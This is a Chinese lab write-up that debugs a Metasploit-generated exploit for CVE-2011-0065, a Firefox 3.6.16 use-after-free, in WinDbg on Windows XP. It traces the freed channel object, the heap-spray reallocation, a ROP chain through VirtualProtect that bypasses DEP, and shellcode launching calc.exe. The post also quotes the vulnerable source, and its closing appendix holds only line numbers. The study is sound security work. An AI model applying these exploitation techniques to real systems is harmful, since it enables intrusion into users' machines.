漏洞调试-释放重引用UAF-cve-2011-0065

文章目录
  1. 1. 尝试通过exp调试找到漏洞相关函数失败
  2. 2. 正向调试及漏洞利用简单分析,直接按书上步骤调试
  3. 3. 漏洞函数
  • 更新附录
  • ##实验环境
    操作系统:Windows xp、
    辅助环境: MetaSploit、Windbg

    ##准备
    继续漏洞分析学习,上次分析了0158之后就买了泉哥的漏洞战争,很详细很nice,不用到处去找了就跟着书上流程走就可以了。

    ###样本生成
    虽然书的配套资料有样本,但是还是按照之前的流程用MetaSploit生成了漏洞利用样本,然后用python写了个小脚本把样本存下来了(主要是ruby写的利用代码,不怎么看得懂用浏览器访问也不好存)。python脚本和漏洞样本如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    #coding=utf-8
    import sys
    import urllib,urllib2

    reload(sys)
    sys.setdefaultencoding('utf-8')
    url = 'http://192.168.168.112:8080/ZWmm2Ia'
    headers = { 'Host':'192.168.17.112:8080',
    'Connection':'keep-alive',
    'Cache-Control':'max-age=0',
    'Accept': 'text/html, */*; q=0.01',
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16',
    'DNT':'1',
    'Accept-Encoding': 'gzip,deflate',
    'Accept-Language': 'zh-CN,zh;q=0.8,ja;q=0.6'
    }
    data = None
    req = urllib2.Request(url, data, headers)
    response = urllib2.urlopen(req)
    html=response.read()
    print html
    fh=open('cve_2011_0065_exploit.html','w')
    fh.write(html)
    fh.close()

    <html>
    <body>
    <object id="d"><object>
    <applet code="LMFDNKvmiUOMb.class" width=0 height=0></applet>
    <script type="text/javascript">


    </script>
    </body>
    </html>

    这里生成的漏洞利用样本是通过Heap Spray方法布局内存,有通过ROP绕过DEP功能。最后效果是弹出计算器。

    ###调试环境准备


    调试环境设置好是这个样子的

    ##调试

    尝试通过exp调试找到漏洞相关函数失败

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    0:000> bu kernel32!winexec
    0:000> bl
    0 e 7c8623ad 0001 (0001) 0:**** kernel32!WinExec
    0:000> g
    Breakpoint 0 hit
    0:000> k
    ChildEBP RetAddr
    0c000385 00000000 kernel32!WinExec
    0:000> dd esp
    0c000034 0c000418 0c000437 00000001 93d6f997
    0c000044 42904f97 274f4341 46fc9f2f 99903f98
    0c000054 9f969842 37d6f541 9746434a 98f54b48
    0c000064 f84bf598 964a4a99 49489698 d6489341
    0c000074 4b4ffc9f 9b3797f8 d6fcd637 90484799
    0c000084 4e4af99f 904327fd 402f2f98 979b4141
    0c000094 91499847 92fd914f 913f9846 984746f8
    0c0000a4 41404bfc f541f596 903f4292 3f2792d6
    0:000> da 0c000437
    0c000437 "calc.exe"
    0:000> ub 0c000418
    0c000403 8b12 mov edx,dword ptr [edx]
    0c000405 eb8d jmp 0c000394
    0c000407 5d pop ebp
    0c000408 6a01 push 1
    0c00040a 8d85b2000000 lea eax,[ebp+0B2h]
    0c000410 50 push eax
    0c000411 68318b6f87 push 876F8B31h
    0c000416 ffd5 call ebp //这里调用winexec
    //在0c00040a指令之前的全部都是滑板指令
    0:000> !address 0c000416
    Usage: <unclassified>
    Allocation Base: 0c000000
    Base Address: 0c000000
    End Address: 0c001000
    Region Size: 00001000
    Type: 00020000 MEM_PRIVATE
    State: 00001000 MEM_COMMIT
    Protect: 00000040 PAGE_EXECUTE_READWRITE

    直接通过exploit来找uaf漏洞函数感觉不好找,又没什么经验所以还是按照书里步骤来吧

    正向调试及漏洞利用简单分析,直接按书上步骤调试

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    //直接按照书上的下好断点,起始exploit样本里面有OnChannelRedirect函数但是不知道怎么对应
    0:000> bl
    0 e 7c8623ad 0001 (0001) 0:**** kernel32!WinExec
    1 e 107f4e72 0001 (0001) 0:**** xul!nsObjectLoadingContent::LoadObject+0x105
    2 e 104623b0 0001 (0001) 0:**** xul!nsObjectLoadingContent::OnChannelRedirect
    0:000> kv
    ChildEBP RetAddr Args to Child
    0012ebec 10274b06 032873d8 00000000 03878040 xul!nsObjectLoadingContent::OnChannelRedirect (FPO: [4,0,0]) (CONV: stdcall) [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsobjectloadingcontent.cpp @ 1017]
    0012ec10 1010f422 032873d8 00000003 00000003 xul!NS_InvokeByIndex_P+0x27 (FPO: [Non-Fpo]) (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\xpcom\reflect\xptcall\src\md\win32\xptcinvoke.cpp @ 103]
    0012eea8 10118bf3 0012eed8 00000000 00000000 xul!XPCWrappedNative::CallMethod+0x572 (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\xpconnect\src\xpcwrappednative.cpp @ 2722]
    0012ef74 00516add 02fb3c00 02e1b700 00000003 xul!XPC_WN_CallMethod+0x173 (FPO: [Uses EBP] [5,44,4]) (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\xpconnect\src\xpcwrappednativejsops.cpp @ 1740]
    0012f028 0051b800 02fb3c00 00000003 0381206c js3250!js_Invoke+0x42d (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsinterp.cpp @ 1360]
    0012f254 004f7195 02fb3c00 0012f304 033f8800 js3250!js_Interpret+0x29a0 (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsops.cpp @ 2241]
    0012f2d8 004e41d1 015f1a40 033f8800 00000000 js3250!js_Execute+0x1a5 (FPO: [Uses EBP] [4,29,2]) (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsinterp.cpp @ 1601]
    0012f304 1007f780 02fb3c00 015f1a40 033f0334 js3250!JS_EvaluateUCScriptForPrincipals+0x61 (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsapi.cpp @ 5058]
    0012f378 1007f57a 0012f44c 015f1a40 033f0330 xul!nsJSContext::EvaluateString+0x158 (CONV: thiscall) [e:\builds\moz2_slave\rel-192-w32-bld\build\dom\base\nsjsenvironment.cpp @ 1764]
    0:000> dd esp
    0012ebf0 10274b06 032873d8 00000000 03878040
    0012ec00 00000000 008ec880 00000000 0012eea8
    0012ec10 0012eea8 1010f422 032873d8 00000003
    0012ec20 00000003 0012ecc0 00000000 02e1b7e0
    0012ec30 00521c20 0012ec44 0606cc0c 00000000
    0012ec40 03fb3c00 00000000 032e6603 0381efb4
    0012ec50 008ba070 019a7318 00000003 00000002
    0012ec60 00000003 0012ecc0 00000001 03812074
    //这里注意windb自动识别的参数有问题(Locals窗口显示的变量和实际不对应),因为是c++函数调用所以OnChannelRedirect函数在汇编层应该是4个参数,第一个参数应该是this指针
    //所以参数对应为this 032873d8,*aOldChannel=0,*aNewChannel=03878040,aFlags=00000000
    0:000> dt nsObjectLoadingContent 032873d8
    xul!nsObjectLoadingContent
    +0x000 __VFN_table : 0x109e11cc
    +0x004 mCurrentRequest : nsCOMPtr<imgIRequest>
    +0x008 mPendingRequest : nsCOMPtr<imgIRequest>
    +0x00c mCurrentURI : nsCOMPtr<nsIURI>
    +0x010 mObserverList : nsImageLoadingContent::ImageObserver
    +0x018 mForcedImageState : 0n1
    +0x01c mImageBlockingStatus : 0n0 //mChannel起始是这里这个(开始是0),不是+0x050 mChannel 不知道为什么....
    +0x01e mLoadingEnabled : 0y0
    +0x01e mStartingLoad : 0y0
    +0x01e mIsImageStateForced : 0y0
    +0x01e mLoading : 0y0
    +0x01e mBroken : 0y0
    +0x01e mUserDisabled : 0y0
    +0x01e mSuppressed : 0y0
    +0x020 __VFN_table : (null)
    +0x024 __VFN_table : (null)
    +0x028 __VFN_table : 0x02d00000
    +0x02c __VFN_table : 0x00000004
    +0x030 __VFN_table : 0x109e11e0
    +0x034 __VFN_table : 0x109e1348
    +0x038 mFinalListener : nsCOMPtr<nsIStreamListener>
    +0x03c mFrameLoader : nsRefPtr<nsFrameLoader>
    +0x040 mPendingInstantiateEvent : (null)
    +0x044 mContentType : nsCString
    +0x050 mChannel : 0x033b1130 nsIChannel
    +0x054 mURI : nsCOMPtr<nsIURI>
    +0x058 mClassifier : nsCOMPtr<nsIChannelClassifier>
    +0x05c mType : 0y00000000000001015 (No matching name)

    +0x05c mInstantiating : 0y0
    +0x05c mUserDisabled : 0y0
    +0x05c mSuppressed : 0y0
    +0x060 mFallbackReason : 0x386e220 (No matching name)
    0:000> p
    eax=00000000 ebx=0012eed8 ecx=00000000 edx=109e11cc esi=032873d8 edi=00000002
    eip=104623c8 esp=0012ebec ebp=0012ec10 iopl=0 nv up ei pl zr na pe nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
    xul!nsObjectLoadingContent::OnChannelRedirect+0x18:
    104623c8 85c0 test eax,eax
    //对新的mChannel下硬件写入断点
    0:000> ba w 4 03878040
    0:000> ? esi+1ch
    Evaluate expression: 52982772 = 032873f4
    0:000> bl
    0 e 7c8623ad 0001 (0001) 0:**** kernel32!WinExec
    1 e 107f4e72 0001 (0001) 0:**** xul!nsObjectLoadingContent::LoadObject+0x105
    2 e 104623b0 0001 (0001) 0:**** xul!nsObjectLoadingContent::OnChannelRedirect
    4 e 03878040 w 4 0001 (0001) 0:****

    // if (mClassifier) {
    // mClassifier->OnRedirect(aOldChannel, aNewChannel);
    // }
    // mChannel = aNewChannel;
    // return NS_OK;
    0:000> dt nsObjectLoadingContent 032873d8
    xul!nsObjectLoadingContent
    +0x000 __VFN_table : 0x109e11cc
    +0x004 mCurrentRequest : nsCOMPtr<imgIRequest>
    +0x008 mPendingRequest : nsCOMPtr<imgIRequest>
    +0x00c mCurrentURI : nsCOMPtr<nsIURI>
    +0x010 mObserverList : nsImageLoadingContent::ImageObserver
    +0x018 mForcedImageState : 0n1
    +0x01c mImageBlockingStatus : 0n-32704 //这里已经变成aNewChannel的值了
    +0x01e mLoadingEnabled : 0y1
    +0x01e mStartingLoad : 0y1
    +0x01e mIsImageStateForced : 0y1
    +0x01e mLoading : 0y0
    +0x01e mBroken : 0y0
    +0x01e mUserDisabled : 0y0
    +0x01e mSuppressed : 0y0
    +0x020 __VFN_table : (null)
    +0x024 __VFN_table : (null)
    +0x028 __VFN_table : 0x02d00000
    +0x02c __VFN_table : 0x00000004
    +0x030 __VFN_table : 0x109e11e0
    +0x034 __VFN_table : 0x109e1348
    +0x038 mFinalListener : nsCOMPtr<nsIStreamListener>
    +0x03c mFrameLoader : nsRefPtr<nsFrameLoader>
    +0x040 mPendingInstantiateEvent : (null)
    +0x044 mContentType : nsCString
    +0x050 mChannel : 0x033b1130 nsIChannel
    +0x054 mURI : nsCOMPtr<nsIURI>
    +0x058 mClassifier : nsCOMPtr<nsIChannelClassifier>
    +0x05c mType : 0y00000000000001015 (No matching name)

    +0x05c mInstantiating : 0y0
    +0x05c mUserDisabled : 0y0
    +0x05c mSuppressed : 0y0
    +0x060 mFallbackReason : 0x386e220 (No matching name)
    //这里已经+0x01c mImageBlockingStatus : 0n-32704 已经变成aNewChannel
    0:000> g
    Breakpoint 4 hit
    eax=03878040 ebx=0082416c ecx=03877be0 edx=006d0040 esi=0012ec24 edi=02e1da00
    eip=101389fa esp=0012ec08 ebp=00890260 iopl=0 nv up ei pl nz na po nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
    xul!nsXPCWrappedJS::Release+0x18a:
    101389fa e897761b00 call xul!operator delete (102f0096)
    //这里在回收mChannel的对象,然后mChannel就称为了悬挂指针
    0:000> kv
    ChildEBP RetAddr Args to Child
    0012ec1c 1010fd7b 008b3cd0 00000000 02e1b7e0 xul!nsXPCWrappedJS::Release+0x18a (FPO: [Uses EBP] [1,1,0]) (CONV: stdcall) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\xpconnect\src\xpcwrappedjs.cpp @ 240]
    0012eea8 10118bf3 0012eed8 00000000 00000000 xul!XPCWrappedNative::CallMethod+0xecb (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\xpconnect\src\xpcwrappednative.cpp @ 2895]
    0012ef74 00516add 02fb3c00 02e1b700 00000003 xul!XPC_WN_CallMethod+0x173 (FPO: [Uses EBP] [5,44,4]) (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\xpconnect\src\xpcwrappednativejsops.cpp @ 1740]
    0012f028 0051b800 02fb3c00 00000003 0381206c js3250!js_Invoke+0x42d (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsinterp.cpp @ 1360]
    0012f254 004f7195 02fb3c00 0012f304 033f8800 js3250!js_Interpret+0x29a0 (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsops.cpp @ 2241]
    0012f2d8 004e41d1 015f1a40 033f8800 00000000 js3250!js_Execute+0x1a5 (FPO: [Uses EBP] [4,29,2]) (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsinterp.cpp @ 1601]
    0012f304 1007f780 02fb3c00 015f1a40 033f0334 js3250!JS_EvaluateUCScriptForPrincipals+0x61 (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsapi.cpp @ 5058]
    0012f378 1007f57a 0012f44c 015f1a40 033f0330 xul!nsJSContext::EvaluateString+0x158 (CONV: thiscall) [e:\builds\moz2_slave\rel-192-w32-bld\build\dom\base\nsjsenvironment.cpp @ 1764]
    0012f430 10015587 038778b0 0012f44c 015f0fd0 xul!nsScriptLoader::EvaluateScript+0x18f (CONV: thiscall) [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsscriptloader.cpp @ 711]
    0012f4e4 10072b18 015f0fd0 015f0fd0 02e1d5a4 xul!nsScriptLoader::ProcessRequest+0x6f (FPO: [1,38,0]) (CONV: thiscall) [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsscriptloader.cpp @ 625]
    0012f880 101a7d9f 02e1d5a4 02e1d5a4 033f4000 xul!nsScriptLoader::ProcessScriptElement+0x2e8 (CONV: thiscall) [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsscriptloader.cpp @ 577]
    0012f89c 10015432 033f40bc 033f4000 02e1d580 xul!nsScriptElement::MaybeProcessScript+0x88 (CONV: thiscall) [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsscriptelement.cpp @ 193]
    0:000> g
    Breakpoint 4 hit
    eax=03878040 ebx=00000001 ecx=00000000 edx=00000290 esi=00000000 edi=0381ef60
    eip=005becee esp=0012eff8 ebp=0012f02c iopl=0 nv up ei ng nz ac pe cy
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
    js3250!str_unescape+0x2f8:
    005becee 0f82dffdffff jb js3250!str_unescape+0xdd (005bead3) [br=1]
    //重新申请刚释放的位置内存,并写入地址shellcode
    0:000> kv
    ChildEBP RetAddr Args to Child
    0012f02c 00519f08 02fb3c00 00000001 03812070 js3250!str_unescape+0x330 (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsstr.cpp @ 507]
    0012f254 004f7195 02fb3c00 0012f304 033f8800 js3250!js_Interpret+0x10a8 (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsops.cpp @ 2208]
    0012f2d8 004e41d1 015f1a40 033f8800 00000000 js3250!js_Execute+0x1a5 (FPO: [Uses EBP] [4,29,2]) (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsinterp.cpp @ 1601]
    0012f304 1007f780 02fb3c00 015f1a40 033f0334 js3250!JS_EvaluateUCScriptForPrincipals+0x61 (CONV: cdecl) [e:\builds\moz2_slave\rel-192-w32-bld\build\js\src\jsapi.cpp @ 5058]
    0012f378 1007f57a 0012f44c 015f1a40 033f0330 xul!nsJSContext::EvaluateString+0x158 (CONV: thiscall) [e:\builds\moz2_slave\rel-192-w32-bld\build\dom\base\nsjsenvironment.cpp @ 1764]
    0012f430 10015587 038778b0 0012f44c 015f0fd0 xul!nsScriptLoader::EvaluateScript+0x18f (CONV: thiscall) [e:\builds\moz2_slave\rel-192-w32-bld\build\content\base\src\nsscriptloader.cpp @ 711]
    //这里mChannel指向的虚函数表地址已经被改变。变成了0x0c000000一个堆地址
    0:000> dd 03878040
    03878040 0c000000 02e10000 03879d20 03879e70
    03878050 10a676bc 033f00b0 00814330 00000002
    03878060 10a67278 0386ee00 008b9db8 ecb2ddc2
    0:000> !address 0c000000
    Failed to map Heaps (error 80004005)
    Usage: Free
    Base Address: 03900000
    End Address: 10000000
    Region Size: 0c700000
    Type: 00000000
    State: 00010000 MEM_FREE
    Protect: 00000001 PAGE_NOACCESS
    //这里ecx为虚函数表地址,ecx+18h为虚函数地址指针,[ecx+18h]为虚函数地址
    0:000> g
    Breakpoint 1 hit
    eax=03878040 ebx=032873a4 ecx=0c000000 edx=015f0f40 esi=804b0002 edi=80000000
    eip=107f4e72 esp=0012f638 ebp=0012f844 iopl=0 nv up ei pl zr na pe nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
    xul!nsObjectLoadingContent::LoadObject+0x105:
    107f4e72 ff5118 call dword ptr [ecx+18h] ds:0023:0c000018=1052c871
    107f4e70 56 push esi
    107f4e71 50 push eax
    107f4e72 ff5118 call dword ptr [ecx+18h] ds:0023:0c000018=1052c871 //这里跳转到shellcode处
    107f4e75 8d4b38 lea ecx,[ebx+38h]
    107f4e78 e8e4d3afff call xul!nsCOMPtr<nsIStreamListener>::operator nsIStreamListener * (102f2261)
    107f4e7d 85c0 test eax,eax
    0:000> ? ecx+18h
    Evaluate expression: 201326616 = 0c000018
    0:000> dd 0c000018
    0c000018 1052c871 73644969 7c801ad4 735a4f5a
    0c000028 69646658 1003876b 0c000040 00000400
    0c000038 00000040 0c0c0c00 93d6f997 42904f97
    0c000048 274f4341 46fc9f2f 99903f98 9f969842
    0c000058 37d6f541 9746434a 98f54b48 f84bf598
    0c000068 964a4a99 49489698 d6489341 4b4ffc9f
    0c000078 9b3797f8 d6fcd637 90484799 4e4af99f
    0c000088 904327fd 402f2f98 979b4141 91499847
    //这里应该是传说中的ROP链
    0:000> u 1052c871
    xul!nsHttpHandler::SetVendorComment+0x10 [e:\builds\moz2_slave\rel-192-w32-bld\build\netwerk\protocol\http\src\nshttphandler.cpp @ 1612]:
    1052c871 8b21 mov esp,dword ptr [ecx] //[ecx=0c000000]=0c00001c,修改堆栈指针esp为0c00001c
    1052c873 baffc6865c mov edx,5C86C6FFh
    1052c878 0100 add dword ptr [eax],eax
    1052c87a 0001 add byte ptr [ecx],al
    1052c87c 33c0 xor eax,eax
    1052c87e 5e pop esi
    1052c87f c20800 ret 8
    0:000> dd esp
    0c00001c 73644969 7c801ad4 735a4f5a 69646658
    0c00002c 1003876b 0c000040 00000400 00000040
    0c00003c 0c0c0c00 93d6f997 42904f97 274f4341
    0c00004c 46fc9f2f 99903f98 9f969842 37d6f541
    0c00005c 9746434a 98f54b48 f84bf598 964a4a99
    0c00006c 49489698 d6489341 4b4ffc9f 9b3797f8
    0c00007c d6fcd637 90484799 4e4af99f 904327fd
    0c00008c 402f2f98 979b4141 91499847 92fd914f
    //7c801ad4是xul!nsHttpHandler::SetVendorComment+0x10函数的返回地址,当ret 8后直接进入函数VirtualProtect
    0:000> u 7c801ad4
    kernel32!VirtualProtect:
    7c801ad4 8bff mov edi,edi
    7c801ad6 55 push ebp
    7c801ad7 8bec mov ebp,esp
    7c801ad9 ff7514 push dword ptr [ebp+14h]
    7c801adc ff7510 push dword ptr [ebp+10h]
    7c801adf ff750c push dword ptr [ebp+0Ch]
    7c801ae2 ff7508 push dword ptr [ebp+8]
    7c801ae5 6aff push 0FFFFFFFFh
    0:000> p
    eax=00000000 ebx=0338a764 ecx=0c000000 edx=5c86c6ff esi=73644969 edi=80000000
    eip=1052c87f esp=0c000020 ebp=0012eaa4 iopl=0 nv up ei pl zr na pe nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
    xul!nsHttpHandler::SetVendorComment+0x1e:
    1052c87f c20800 ret 8
    0:000> p
    eax=00000000 ebx=0338a764 ecx=0c000000 edx=5c86c6ff esi=73644969 edi=80000000
    eip=7c801ad4 esp=0c00002c ebp=0012eaa4 iopl=0 nv up ei pl zr na pe nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
    kernel32!VirtualProtect:
    7c801ad4 8bff mov edi,edi
    //1003876b是VirtualProtect的返回地址,后面是VirtualProtect的参数
    0:000> dd esp
    0c00002c 1003876b 0c000040 00000400 00000040
    0c00003c 0c0c0c00 93d6f997 42904f97 274f4341
    0c00004c 46fc9f2f 99903f98 9f969842 37d6f541
    0c00005c 9746434a 98f54b48 f84bf598 964a4a99
    0c00006c 49489698 d6489341 4b4ffc9f 9b3797f8
    0c00007c d6fcd637 90484799 4e4af99f 904327fd
    0c00008c 402f2f98 979b4141 91499847 92fd914f
    0c00009c 913f9846 984746f8 41404bfc f541f596
    /*
    BOOL VirtualProtect(
    LPVOID lpAddress, // region of committed pages 0c000040
    SIZE_T dwSize, // size of the region 00000400
    DWORD flNewProtect, // desired access protection 00000040
    PDWORD lpflOldProtect // old protection); 0c0c0c00
    */
    kernel32!VirtualProtect:
    7c801ad4 8bff mov edi,edi
    7c801ad6 55 push ebp
    7c801ad7 8bec mov ebp,esp
    7c801ad9 ff7514 push dword ptr [ebp+14h] ss:0023:0c00003c=0c0c0c00
    7c801adc ff7510 push dword ptr [ebp+10h]
    7c801adf ff750c push dword ptr [ebp+0Ch]
    7c801ae2 ff7508 push dword ptr [ebp+8]
    7c801ae5 6aff push 0FFFFFFFFh
    7c801ae7 e875ffffff call kernel32!VirtualProtectEx (7c801a61)
    7c801aec 5d pop ebp
    7c801aed c21000 ret 10h
    0:000> dd esp+8
    0c000030 0c000040 00000400 00000040 0c0c0c00
    0c000040 93d6f997 42904f97 274f4341 46fc9f2f
    0c000050 99903f98 9f969842 37d6f541 9746434a
    0c000060 98f54b48 f84bf598 964a4a99 49489698
    0c000070 d6489341 4b4ffc9f 9b3797f8 d6fcd637
    0c000080 90484799 4e4af99f 904327fd 402f2f98
    0c000090 979b4141 91499847 92fd914f 913f9846
    0c0000a0 984746f8 41404bfc f541f596 903f4292
    //设置堆属性,过dep
    0:000> !address 0c000000
    Failed to map Heaps (error 80004005)
    Usage: <unclassified>
    Allocation Base: 0c000000
    Base Address: 0c000000
    End Address: 0c001000
    Region Size: 00001000
    Type: 00020000 MEM_PRIVATE
    State: 00001000 MEM_COMMIT
    Protect: 00000040 PAGE_EXECUTE_READWRITE
    kernel32!VirtualProtect+0x18:
    7c801aec 5d pop ebp
    0:000> p
    eax=00000001 ebx=0338a764 ecx=0bffffe8 edx=7c92e4f4 esi=73644969 edi=80000000
    eip=7c801aed esp=0c00002c ebp=0012eaa4 iopl=0 nv up ei pl nz na po nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
    kernel32!VirtualProtect+0x19:
    7c801aed c21000 ret 10h
    0:000> p
    eax=00000001 ebx=0338a764 ecx=0bffffe8 edx=7c92e4f4 esi=73644969 edi=80000000
    eip=1003876b esp=0c000040 ebp=0012eaa4 iopl=0 nv up ei pl nz na po nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
    xul!DetermineParseMode+0x22:
    1003876b ffe4 jmp esp {0c000040}
    //跳板指令1003876b,跳入shellcode中执行,开始是一段滑板指令
    0:000> !address 0c000000
    Failed to map Heaps (error 80004005)
    Usage: <unclassified>
    Allocation Base: 0c000000
    Base Address: 0c000000
    End Address: 0c001000
    Region Size: 00001000
    Type: 00020000 MEM_PRIVATE
    State: 00001000 MEM_COMMIT
    Protect: 00000040 PAGE_EXECUTE_READWRITE
    0:000> u 0c000040
    0c000040 97 xchg eax,edi
    0c000041 f9 stc
    0c000042 d6 ???
    0c000043 93 xchg eax,ebx
    0c000044 97 xchg eax,edi
    0c000045 4f dec edi
    0c000046 90 nop
    0c000047 42 inc edx

    漏洞函数

    • 存在问题的函数
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      // nsIChannelEventSink
      NS_IMETHODIMP
      nsObjectLoadingContent::OnChannelRedirect(nsIChannel *aOldChannel,
      nsIChannel *aNewChannel,
      PRUint32 aFlags)
      {
      // If we're already busy with a new load, cancel the redirect
      if (aOldChannel != mChannel) {//打补丁后,这里变成了if (!mChannel||aOldChannel != mChannel)
      return NS_BINDING_ABORTED;
      }

      if (mClassifier) {
      mClassifier->OnRedirect(aOldChannel, aNewChannel);
      }

      mChannel = aNewChannel;
      return NS_OK;
      }

      - 触发漏洞的函数
      ```c
      nsresult
      nsObjectLoadingContent::LoadObject(nsIURI* aURI,
      PRBool aNotify,
      const nsCString& aTypeHint,
      PRBool aForceLoad)
      {
      ......
      // From here on, we will always change the content. This means that a
      // possibly-loading channel should be aborted.
      if (mChannel) {
      LOG(("OBJLC [%p]: Cancelling existing load\n", this));

      if (mClassifier) {
      mClassifier->Cancel();
      mClassifier = nsnull;
      }

      // These three statements are carefully ordered:
      // - onStopRequest should get a channel whose status is the same as the
      // status argument
      // - onStopRequest must get a non-null channel
      mChannel->Cancel(NS_BINDING_ABORTED);
      if (mFinalListener) {
      // NOTE: Since mFinalListener is only set in onStartRequest, which takes
      // care of calling mFinalListener->OnStartRequest, mFinalListener is only
      // non-null here if onStartRequest was already called.
      mFinalListener->OnStopRequest(mChannel, nsnull, NS_BINDING_ABORTED);
      mFinalListener = nsnull;
      }
      mChannel = nsnull;
      }
      ......
      }

    简单分析就是这样了,感觉分析的时候有很多坑(虽然这个漏洞有符号文件及源码),一定要坚持下来。总体就是mChannel对象被释放后变成悬挂指针然后马上重新申请这块内存写入构造的shellcode(主要就是修改对象的虚函数表指针地址),在mChannel对象的函数mChannel->Cancel被使用时获得执行机会。对于漏洞利用还有很多需要细致的学习,通过布局内存利用漏洞。
    主要知识点包括:虚函数、堆喷射Heap Spray、ROP

    ##参考
    漏洞战争-软件漏洞分析摘要
    Heap Spray原理浅析
    Analysis CVE2011-0065-Firefox 3.6.16 mChannel use after free vulnerability

    更新附录

    shellcode分析可以和msf漏洞生成脚本一起看,一下就豁然开朗了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
